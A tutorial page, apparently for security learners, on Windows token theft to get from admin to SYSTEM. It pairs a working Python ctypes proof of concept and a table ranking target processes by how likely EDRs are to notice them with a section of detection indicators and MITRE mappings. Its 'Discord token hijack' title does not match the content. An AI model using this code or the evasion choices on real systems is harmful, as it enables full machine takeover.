Token stealing demonstration - Discord token hijack
Every Windows process carries a security token like a staff badge. With SeDebugPrivilege, you can open another process (winlogon.exe runs as SYSTEM), duplicate its token, and spawn a new process wearing that token. Your new shell has full SYSTEM rights with no credentials required. The technique requires admin rights to start — it's the final step from High integrity to SYSTEM, not initial access.
Every Windows process carries a security token — its identity card. SYSTEM processes (winlogon, services, lsass) hold SYSTEM tokens. Admins with SeDebugPrivilege can open any process, extract its token, duplicate it, and spawn a new process bearing that stolen identity.
winlogon.exe is always running, always at SYSTEM, and always accessible to elevated admins. It's the canonical target for token theft. Other SYSTEM processes (services.exe, lsass.exe) work equally well, but winlogon is stable and predictable.
You need the winlogon PID first. From an elevated shell: Get-Process winlogon | Select-Object Id
SeDebugPrivilege is granted to the Administrators group by default. It allows opening any process regardless of the DACL — even LSASS. Without it, OpenProcess on a SYSTEM process returns ERROR_ACCESS_DENIED.
Source: uac-to-system-poc/token_steal.py — credit Rainfantry + Asi.
import ctypes from ctypes import wintypes kernel32 = ctypes.WinDLL('kernel32') advapi32 = ctypes.WinDLL('advapi32') PROCESS_QUERY_INFORMATION = 0x0400 TOKEN_DUPLICATE = 0x0002 TOKEN_ALL_ACCESS = 0xF01FF SecurityImpersonation = 2 TokenPrimary = 1 class STARTUPINFO(ctypes.Structure): _fields_ = [ ("cb", wintypes.DWORD), ("lpReserved", wintypes.LPWSTR), ("lpDesktop", wintypes.LPWSTR), ("lpTitle", wintypes.LPWSTR), ("dwX", wintypes.DWORD), ("dwY", wintypes.DWORD), ("dwXSize", wintypes.DWORD), ("dwYSize", wintypes.DWORD), ("dwXCountChars", wintypes.DWORD), ("dwYCountChars", wintypes.DWORD), ("dwFillAttribute", wintypes.DWORD), ("dwFlags", wintypes.DWORD), ("wShowWindow", wintypes.WORD), ("cbReserved2", wintypes.WORD), ("lpReserved2", wintypes.LPBYTE), ("hStdInput", wintypes.HANDLE), ("hStdOutput", wintypes.HANDLE), ("hStdError", wintypes.HANDLE), ] class PROCESS_INFORMATION(ctypes.Structure): _fields_ = [ ("hProcess", wintypes.HANDLE), ("hThread", wintypes.HANDLE), ("dwProcessId", wintypes.DWORD), ("dwThreadId", wintypes.DWORD), ] def steal_token(target_pid): # Step 1: Open SYSTEM process (requires SeDebugPrivilege) hProcess = kernel32.OpenProcess(PROCESS_QUERY_INFORMATION, False, target_pid) if not hProcess: return False # Step 2: Get the process token hToken = wintypes.HANDLE() advapi32.OpenProcessToken(hProcess, TOKEN_DUPLICATE, ctypes.byref(hToken)) # Step 3: Duplicate it as a primary token hNewToken = wintypes.HANDLE() advapi32.DuplicateTokenEx( hToken, TOKEN_ALL_ACCESS, None, SecurityImpersonation, TokenPrimary, ctypes.byref(hNewToken) ) # Step 4: Spawn cmd.exe bearing the stolen SYSTEM token si = STARTUPINFO(); si.cb = ctypes.sizeof(STARTUPINFO) pi = PROCESS_INFORMATION() advapi32.CreateProcessWithTokenW( hNewToken, 0, "C:\\Windows\\System32\\cmd.exe", None, 0, None, None, ctypes.byref(si), ctypes.byref(pi) ) # Cleanup handles for h in [hNewToken, hToken, hProcess, pi.hProcess, pi.hThread]: kernel32.CloseHandle(h)
PROCESS_QUERY_INFORMATION (0x0400). SeDebugPrivilege overrides DACL restrictions.TOKEN_DUPLICATE access on the token.Assigned to a process. Used by CreateProcessWithTokenW. The new process permanently owns this identity.
Required for spawning a SYSTEM cmd.exe.
Assigned to a thread. Used by ImpersonateLoggedOnUser. Thread temporarily acts as the target user for API calls.
Enough for SeImpersonate attacks (Potato variants).
| Privilege | Power | Default Holders |
|---|---|---|
SeDebugPrivilege | Open any process regardless of DACL — required for this technique | Administrators |
SeImpersonatePrivilege | Impersonate any user — basis for Potato family attacks | LOCAL SERVICE, NETWORK SERVICE, IIS AppPools |
SeTcbPrivilege | Act as OS — grants ability to create tokens from scratch | SYSTEM only |
SeAssignPrimaryTokenPrivilege | Replace a process token — required by CreateProcessWithTokenW | SYSTEM, LOCAL SERVICE |
SeBackupPrivilege | Read any file bypassing DACL — can dump SAM/SYSTEM hives | Administrators, Backup Operators |
SeRestorePrivilege | Write any file bypassing DACL — can replace system binaries | Administrators, Backup Operators |
Why this table matters: Service accounts (IIS, SQL Server, etc.) often have SeImpersonatePrivilege but not SeDebugPrivilege. This is why Potato-family attacks target those accounts — they can impersonate tokens from incoming connections but can't directly open SYSTEM processes.
winlogon.exe isn't the only option. Any SYSTEM process works — choose based on stability and detection profile:
| Process | Always Present | Detection Risk | Notes |
|---|---|---|---|
winlogon.exe |
Yes | Medium | Classic target — well-known, some EDRs alert |
services.exe |
Yes | Medium | Service Control Manager — always SYSTEM |
lsass.exe |
Yes | High | Credential store — heavily monitored by EDRs |
spoolsv.exe |
Usually | Low | Print Spooler — less monitored, PrintNightmare history |
wininit.exe |
Yes | Medium | Windows Initialization — parent of services.exe |
Understanding the internal flow helps defenders write better detection rules:
# CONCEPT: Token stealing decision flow (PSEUDOCODE) # What the API calls actually do under the hood def token_steal_flow(): # 1. Find SYSTEM process PID target_pid = find_process_by_name("winlogon.exe") # or any SYSTEM process # 2. OpenProcess — requires SeDebugPrivilege to bypass DACL # Kernel checks: caller has debug privilege? → allow handle handle = OpenProcess(PROCESS_QUERY_INFORMATION, target_pid) # → IOC: Handle request to SYSTEM process from non-SYSTEM caller # 3. OpenProcessToken — get the security token from handle # Kernel checks: caller has TOKEN_DUPLICATE access? → allow token handle token = OpenProcessToken(handle, TOKEN_DUPLICATE) # → IOC: Token handle request to protected process # 4. DuplicateTokenEx — clone token as Primary (usable for process creation) # SecurityImpersonation level allows full identity theft # TokenPrimary type allows CreateProcessWithTokenW new_token = DuplicateTokenEx(token, TOKEN_ALL_ACCESS, SecurityImpersonation, TokenPrimary) # → IOC: Token duplication event (ETW / Sysmon) # 5. CreateProcessWithTokenW — spawn process with stolen identity # Requires SeAssignPrimaryTokenPrivilege (admins have this) CreateProcessWithTokenW(new_token, "cmd.exe") # → IOC: Process created with token that doesn't match parent
Detection opportunity: Each step generates kernel events. Sysmon Event ID 10 (ProcessAccess) and Event ID 8 (CreateRemoteThread) on SYSTEM processes from non-SYSTEM callers are high-fidelity indicators.
Handle IOC: Event ID 4656/4663 — handle request to winlogon.exe or lsass.exe from a non-SYSTEM process. Unusual access rights on system processes (PROCESS_QUERY_INFORMATION from a non-system binary).
Token IOC: Event ID 4624 (Logon) with Logon Type 9 (NewCredentials) or unusual Subject → New Logon relationships. A cmd.exe at SYSTEM created from a user-space parent is anomalous.
Process IOC: Event ID 4688 — process creation with token that doesn't match parent. cmd.exe parented to a non-SYSTEM Python process running at SYSTEM is a strong indicator.
ETW: Microsoft-Windows-Security-Auditing with DuplicateHandle events. Sysmon Event ID 10 (ProcessAccess) on winlogon.exe from unexpected callers.
Take target's identity for your process.
Target process is untouched.
Spawns fresh process. Cleaner.
Put your code inside target's process.
Target process is modified.
Code runs under target's existing identity automatically.
In the spawned cmd.exe: whoami → should return nt authority\system
Cross-check with: whoami /groups | findstr "System Mandatory"
Full chain: SeDebugPrivilege enumeration → winlogon PID → OpenProcess → DuplicateTokenEx → CreateProcessWithTokenW → NT AUTHORITY\SYSTEM prompt.
MITRE ATT&CK: T1134.001 (Access Token Manipulation: Token Impersonation/Theft), T1134.002 (Create Process with Token)